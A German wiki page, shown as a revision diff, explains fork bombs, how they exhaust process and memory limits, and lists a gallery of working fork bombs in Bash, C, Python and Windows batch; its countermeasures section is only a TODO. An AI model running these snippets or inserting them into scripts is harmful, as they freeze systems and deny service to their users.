Unterschiede zwischen den Revisionen 2 und 3
Revision 2 vom 2006-04-06 13:14:32
Größe: 1424
Autor: anonym
Kommentar:
Revision 3 vom 2006-04-06 14:09:00
Größe: 1460
Autor: anonym
Kommentar: nettere Formatierung
Gelöschter Text ist auf diese Art markiert. Hinzugefügter Text ist auf diese Art markiert.
Zeile 20: Zeile 20:
{{{
Zeile 22: Zeile 22:
}}}
{{{
Zeile 23: Zeile 25:
}}}
Zeile 26: Zeile 28:
{{{
Zeile 27: Zeile 30:
Zeile 35: Zeile 37:
}}}
Zeile 37: Zeile 39:
{{{
Zeile 41: Zeile 44:
}}}
Zeile 43: Zeile 46:
{{{
Zeile 47: Zeile 50:
  }}}

Was sind das?

Fork-Bombs sind eine Unterkategorie von [http://en.wikipedia.org/wiki/Wabbit Wabbits], Programme deren einziges Ziel die massenhafte Selbstreplikation ist. In einer Endlosschleife wird fortlaufend eine Kopie des eigenen Programms erzeugt, welche wiederum eigene Kopien erzeugt usw. - dies geschieht solange, bis die Ressourcen des Compuersystems aufgebraucht sind.

Fork-Bombs speziell nutzen zur Replikation die Fork-Funktion (fork, engl. = Gabelung, Verzweigung).

Was bewirken sie?

Durch die rasante Selbstreplikation ist die maximal mögliche Zahl der simultan laufenden Prozesse schnell überschritten - somit können keine weiteren gestartet werden. Alle diese Kinder-Prozesse der Eltern-Fork-Bomb fressen Arbeitsspeicher und CPU-Leistung die damit anderen Prozessen fehlt. Dies führt von der Ausbremsung des gesamten Systems bis zur kompletten Unbenutzbarkeit (nix geht mehr). In diesem Fall ist ein kompletter Reboot des Systems die einzige Möglichkeit alle Instanzen der Fork-Bomb zu killen.

Gegenmassnahmen

TODO

Fork-Bomb Gallerie

Bash Bombs

:(){ :|:& };:

(:(){ :|:;};:)

unter C

 #include <unistd.h>
int main(void)
{
  while(1) { 
    fork(); 
  } 
  return 0; 
} 

Python Forks

#/usr/bin/python 
import os
while(1): 
    os.fork()

Batch-Datei unter Windoze

:s
start %0
goto s

ForkBombs (zuletzt geändert am 2012-06-13 21:26:25 durch anonym)


Creative Commons Lizenzvertrag
This page is licensed under a Creative Commons Attribution-ShareAlike 2.5 License.